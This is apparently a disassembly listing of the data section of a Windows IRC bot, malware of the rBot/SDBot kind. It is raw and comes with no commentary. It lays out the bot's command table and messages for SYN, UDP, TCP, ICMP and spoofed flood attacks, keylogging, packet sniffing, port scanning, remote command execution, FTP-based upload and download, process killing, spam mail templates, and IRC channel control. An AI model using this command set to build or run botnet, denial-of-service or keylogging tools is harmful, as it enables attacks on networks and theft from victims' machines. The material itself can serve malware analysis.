dword_42C92C	dd 5D73255Bh, 73253C20h, 7325203Eh, 0dword_42C93C	dd 5D73255Bh, 25202A20h, 73252073h, 0dword_42C94C	dd 54434101h, 204E4F49h, 17325h					; sub_401AA1+6FCBo
dword_42C958	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0250h
					; DATA XREF: sub_401AA1+5C85o
		dd 1F740272h, 1F025302h, 6E610263h, 34300302h, 3531032Ch
		dd 2034033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h
		dd 72617402h, 53022074h, 6E616302h, 2540220h, 61657268h
		dd 2202C64h, 2720245h, 26F0272h, 33A0272h, 253C2031h, 2E3E64h
dword_42C9C0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0250h
					; DATA XREF: sub_401AA1+5C2Co
		dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch
		dd 2031033Ah, 6F025002h, 2207472h, 61630253h, 5302206Eh
		dd 72617402h, 3A646574h, 25203403h, 31032073h, 69025702h
		dd 2206874h, 6C650244h,	33A7961h, 64252034h, 29736D28h
		dd 2310320h, 65680243h,	6E696B63h, 52022067h, 676E6102h
		dd 20340365h, 252D6425h, 2E64h,	0
dword_42CA48	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+5B80o
		dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
		dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
		dd 2540220h, 61657268h,	2202C64h, 72720245h, 33A726Fh
		dd 253C2031h, 2E3E64h
dword_42CAA0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+5B27o
		dd 3026E02h, 32C3430h, 33A3431h, 73252034h, 2310320h, 726F0250h
		dd 53022074h, 6E616302h, 2530220h, 74726174h, 6F206465h
		dd 2034036Eh, 253A7325h, 31032064h, 69025702h, 61206874h
		dd 2440220h, 79616C65h,	3666F20h, 64252034h, 2310320h
		dd 63650253h, 73646E6Fh, 2460220h, 3403726Fh, 20642520h
		dd 4D023103h, 756E6902h, 20736574h, 73025502h, 3676E69h
		dd 64252034h, 2310320h,	72680254h, 73646165h, 2Eh, 0
dword_42CB48	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+59B1o
		dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
		dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
		dd 24E0220h, 249206Fh, 2200250h, 65700253h, 69666963h
		dd 2E6465h, 0
dword_42CBA0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+5954o
		dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
		dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h
		dd 5002202Ch, 74726F02h, 20736920h, 61766E69h, 2E64696Ch
		dd 2 dup(0)
dword_42CBF8	dd 35310302h, 25B302Ch,	91343003h, 1F313003h, 1F024602h
					; DATA XREF: sub_401AA1:loc_4072CFo
		dd 2700254h, 2C343003h,	3A353103h, 2203403h, 6C700255h
		dd 61026F02h, 2690264h,	220676Eh, 2690246h, 3A65026Ch
		dd 25203103h, 34032073h, 6F025402h, 2031033Ah, 3207325h
		dd 2460234h, 2690261h, 265026Ch, 2E64h
dword_42CC58	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F024602h
					; DATA XREF: sub_401AA1+5827o
		dd 2700254h, 2C313003h,	3A353103h, 2203103h, 6C700255h
		dd 61026F02h, 2690264h,	220676Eh, 2690246h, 3A65026Ch
		dd 25203403h, 31032073h, 6F025402h, 2034033Ah, 7325h
dword_42CCA8	dd 2E707466h, 657865hdword_42CCB0	dd 253A732Dh, 73haOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AA1+57D9o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AA1+57B5o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AA1+57A4o
		align 10h
dword_42CCF0	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 1F024602h
					; DATA XREF: sub_401AA1+574Bo
		dd 2700254h, 2C313003h,	3A353103h, 2203103h, 6C690246h
		dd 24E2065h, 2074026Fh,	6F024602h, 3A646E75h, 25203403h
		dd 2E73h
aUpload		db 'upload',0           ; DATA XREF: sub_401AA1+5728o
		align 4
dword_42CD38	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_401AA1+56F2o
		dd 3026E02h, 32C3430h, 33A3431h, 41022034h, 65726C02h
		dd 3796461h, 64252031h,	2340320h, 61630253h, 6E696E6Eh
		dd 54022067h, 65726802h, 2E736461h, 6F025420h, 2206F02h
		dd 6E61024Dh, 53022079h, 63657002h, 65696669h, 2E64h
unk_42CD9C	db  2Dh	; -		; DATA XREF: sub_401AA1+56A8o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_6	db '- Failed to start flood thread, error: <%d>.',0
		align 8
unk_42CDD8	db  2Dh	; -		; DATA XREF: sub_401AA1+564Fo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42CE20	db  2Dh	; -		; DATA XREF: sub_401AA1+55A1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401AA1+556Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401AA1+5549o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42CEC0	db  2Dh	; -		; DATA XREF: sub_401AA1+54A7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AA1+548Ao
		align 4
unk_42CF14	db  2Dh	; -		; DATA XREF: sub_401AA1+5460o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42CF50	db  2Dh	; -		; DATA XREF: sub_401AA1+5407o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42CF98	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_406DD8o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42CFD0	db  2Dh	; -		; DATA XREF: sub_401AA1+531Bo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D008	db  2Dh	; -		; DATA XREF: sub_401AA1+52B7o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401AA1+52A7o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AA1+52A0o
unk_42D04C	db  2Dh	; -		; DATA XREF: sub_401AA1+520Bo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401AA1+51FBo
					; sub_414BED+2FDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401AA1+51E4o
					; sub_414BED+2DDo
aHcon		db 'hcon',0             ; DATA XREF: sub_401AA1+5170o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AA1+515Do
unk_42D094	db  2Dh	; -		; DATA XREF: sub_401AA1+510Eo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AA1+509Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401AA1+4FAFo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401AA1+4F98o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AA1+4F81o
		align 4
aP:					; DATA XREF: sub_401AA1+4F6Ao
					; .XPack0:0043AC18o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401AA1+4F53o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AA1+4F3Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401AA1+4F25o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AA1+4F0Eo
aU:					; DATA XREF: sub_401AA1+4EF7o
					; .XPack0:0043AC10o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401AA1+4EE0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AA1+4EC9o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401AA1+4EB2o
aAsc		db 'asc',0              ; DATA XREF: sub_401AA1+4E9Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401AA1+4E84o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AA1+4E6Do
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401AA1+4E47o
aC_action	db 'c_action',0         ; DATA XREF: sub_401AA1+4E30o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AA1+4E19o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AA1+4E02o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401AA1+4DEBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AA1+4DD4o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401AA1+4DBDo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AA1+4DA6o
		align 10h
aG3t		db 'g3t',0              ; DATA XREF: sub_401AA1+4D8Fo
aDdrs		db 'ddrs',0             ; DATA XREF: sub_401AA1+4D78o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AA1+4D61o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AA1+4D4Ao
		align 10h
dword_42D1D0	dd 234032Dh, 73796B73h,	3026E79haFailedToStar_9	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42D20C	dd 234032Dh, 73796B73h,	3026E79haFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AA1+4C4Co
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401AA1+4C35o
					; sub_401AA1+51CCo ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AA1+4C1Eo
		align 4
unk_42D254	db  2Dh	; -		; DATA XREF: sub_401AA1+4BFCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AA1+4B3Bo
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401AA1+4B24o
					; sub_4138D3:loc_4139FFo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401AA1+4B0Do
					; sub_4138D3:loc_4139E3o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401AA1+4AF6o
					; sub_4138D3+F1o
		align 4
aC:					; DATA XREF: sub_401AA1+4ADFo
					; .XPack0:0043AC48o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401AA1+4AC8o
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AA1+4A9Fo
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AA1+4A88o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AA1+4A71o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401AA1+4A5Ao
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401AA1+4A43o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401AA1+4A2Co
		align 10h
aE:					; DATA XREF: sub_401AA1+4A15o
					; .XPack0:0043AC00o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401AA1+49FEo
aUpd4t3z	db 'upd4t3z',0          ; DATA XREF: sub_401AA1+49E7o
aStyle		db 'style',0            ; DATA XREF: sub_401AA1+49D0o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401AA1+49B9o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401AA1+49A2o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AA1+498Bo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AA1+4974o
					; sub_401AA1+6AA7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401AA1+495Do
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AA1+4946o
aT3		db 't3',0               ; DATA XREF: sub_401AA1+492Fo
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AA1+4918o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401AA1+4901o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AA1+48EAo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AA1+48D3o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AA1+48BCo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401AA1+48A5o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AA1+488Eo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401AA1+4877o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AA1+4860o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401AA1+4849o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AA1+4832o
		align 4
aM:					; DATA XREF: sub_401AA1+481Bo
					; .XPack0:0043AC58o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401AA1+47EDo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401AA1+47D6o
		align 4
aA:					; DATA XREF: sub_401AA1+47BFo
					; .XPack0:0043AC1Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401AA1+47A8o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AA1+477Ao
aAa		db 'aa',0               ; DATA XREF: sub_401AA1+4763o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AA1+474Co
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AA1+4735o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AA1+471Eo
aGh		db 'gh',0               ; DATA XREF: sub_401AA1+46F5o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AA1+46DEo
unk_42D3D4	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_406164o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42D3F0	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_40615Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AA1+4679o
					; sub_4097DE+5F0o
		align 4
unk_42D41C	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_406112o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42D43C	db  2Dh	; -		; DATA XREF: sub_401AA1+466Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42D45C	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_406079o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42D47C	db  2Dh	; -		; DATA XREF: sub_401AA1+45CEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401AA1+4560o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401AA1+452Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401AA1+450Fo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401AA1+44F7o
		align 4
unk_42D4C4	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_405F8Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42D4E4	db  2Dh	; -		; DATA XREF: sub_401AA1+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401AA1+448Bo
		align 10h
unk_42D510	db  2Dh	; -		; DATA XREF: sub_401AA1+4458o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401AA1+4434o
aKstop		db 'kstop',0            ; DATA XREF: sub_401AA1+441Do
		align 4
aKeystop	db 'keystop',0          ; DATA XREF: sub_401AA1+4406o
aKeylog		db 'keylog',0           ; DATA XREF: sub_401AA1+43EFo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401AA1+43D8o
		align 10h
unk_42D570	db    2			; DATA XREF: sub_401AA1:loc_405E6Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  69h	; i
		db 2, 64h, 2
		db  65h	; e
		db 2, 6Eh, 2
		db  74h	; t
		db 2, 64h, 2
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 31h, 20h
aNoThreadFound_	db 'No thread found.',0
		align 10h
unk_42D5B0	db    2			; DATA XREF: sub_401AA1+43C1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  69h	; i
		db 2, 64h, 2
		db  65h	; e
		db 2, 6Eh, 2
		db  74h	; t
		db 2, 64h, 2
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 31h, 20h
aServerStopped_	db 'Server stopped. (%d thread(s) stopped.)',0
unk_42D600	db    2			; DATA XREF: sub_401AA1+4393o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  69h	; i
		db 2, 64h, 2
		db  65h	; e
		db 2, 6Eh, 2
		db  74h	; t
		db 2, 64h, 2
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 31h, 20h
aFailedToSta_11	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_42D650	db    2			; DATA XREF: sub_401AA1:loc_405DE7o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  69h	; i
		db 2, 64h, 2
		db  65h	; e
		db 2, 6Eh, 2
		db  74h	; t
		db 2, 64h, 2
		db    2
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 31h, 20h
aServerRunnin_0	db 'Server running on Port: 113.',0
		align 4
dword_42D698	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2640269h
					; DATA XREF: sub_401AA1+433Co
		dd 26E0265h, 2640274h, 31300302h, 3431032Ch, 2031033Ah
		dd 6C024102h, 64616572h, 72022079h, 6E6E7502h, 2E676E69h
		dd 0
aIdent		db 'ident',0            ; DATA XREF: sub_401AA1+4305o
		align 10h
unk_42D6E0	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_405D99o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoSnifferThrea	db '- No sniffer thread found.',0
unk_42D708	db  2Dh	; -		; DATA XREF: sub_401AA1+42EEo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aSnifferStopped	db '- sniffer stopped. (%d thread(s) stopped.)',0
unk_42D740	db  2Dh	; -		; DATA XREF: sub_401AA1+42ABo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_12	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42D77C	db  2Dh	; -		; DATA XREF: sub_401AA1+4252o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPacketSnifferA	db '-  packet sniffer active.',0
		align 4
unk_42D7A4	db  2Dh	; -		; DATA XREF: sub_401AA1+41EEo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunning	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AA1+41B9o
dword_42D7CC	dd 234032Dh, 696E7370h,	3026666haNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42D7F8	dd 234032Dh, 696E7370h,	3026666haCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42D834	dd 234032Dh, 696E7370h,	3026666haFailedToSta_13	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42D870	dd 234032Dh, 696E7370h,	3026666haCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42D8A0	dd 234032Dh, 696E7370h,	3026666haAlreadyRunni_0	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401AA1+4082o
					; sub_401AA1+41CEo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401AA1+406Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401AA1+4056o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AA1+403Fo
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401AA1+4028o
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401AA1+4011o
aMirc		db 'mirc',0             ; DATA XREF: sub_401AA1+3FFAo
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AA1+3FE3o
aV:					; DATA XREF: sub_401AA1+3FCCo
					; .XPack0:0043AC4Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401AA1+3FB5o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401AA1+3F9Eo
		align 4
aList		db 'list',0             ; DATA XREF: sub_401AA1+3F87o
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401AA1+3F70o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401AA1+3F42o
aDelete		db 'delete',0           ; DATA XREF: sub_401AA1+3F2Bo
					; sub_401AA1+4545o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AA1+3F14o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401AA1+3EFDo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401AA1+3EE6o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AA1+3ECFo
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401AA1+3EB8o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401AA1+3EA1o
aSe		db 'se',0               ; DATA XREF: sub_401AA1+3E8Ao
		align 4
aO:					; DATA XREF: sub_401AA1+3E5Co
					; .XPack0:0043AF7Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401AA1+3E45o
					; sub_401AA1+5815o ...
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_401AA1+3E2Eo
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AA1+3E17o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AA1+3E00o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AA1+3DE9o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_401AA1+3DD2o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AA1+3DBBo
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AA1+3D8Do
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AA1+3D5Fo
aPt		db 'pt',0               ; DATA XREF: sub_401AA1+3D48o
		align 10h
aJ:					; DATA XREF: sub_401AA1+3D1Ao
					; .XPack0:0043AC34o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401AA1+3CECo
					; .XPack0:0043AC54o ...
		unicode	0, <n>,0
unk_42D998	db  2Dh	; -		; DATA XREF: sub_401AA1+3CB7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AA1+3C4Eo
aRegister	db 'register',0         ; DATA XREF: sub_401AA1+3C25o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AA1+3BCAo
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401AA1+3AF8o
dword_42D9F8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AA1+3AA2o
					; sub_401AA1+3ADDo
		dd 0
dword_42DA10	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AA1+3A67o
		dd 1
dword_42DA28	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AA1+3A2Co
					; sub_401AA1+3B4Ao
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AA1+39DAo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AA1+393Fo
					; sub_401AA1+397Fo ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AA1+38E8o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401AA1+37F6o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AA1+37B2o
aNick_0		db 'nick',0             ; DATA XREF: sub_401AA1+36AFo
					; sub_401AA1+3CD5o
		align 10h
dword_42DA70	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AA1+3694o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42DA98	dd 636364h	dword_42DA9C	dd 6E696F6Ah, 7261702Fh, 74hdword_42DAA8	dd 4B43494Eh, 732520h					; sub_401AA1+3709o ...
dword_42DAB0	dd 69257325h, 0						; sub_40A97E+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AA1+3453o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AA1+3438o
					; sub_401AA1+351Do ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AA1+3411o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AA1+33F6o
aPart_0		db 'part',0             ; DATA XREF: sub_401AA1+33D4o
					; sub_401AA1+3D31o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AA1+33B9o
					; sub_401AA1+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401AA1+3397o
					; sub_401AA1+3D03o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AA1+337Co
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401AA1+3330o
					; sub_401AA1+4804o
		align 4
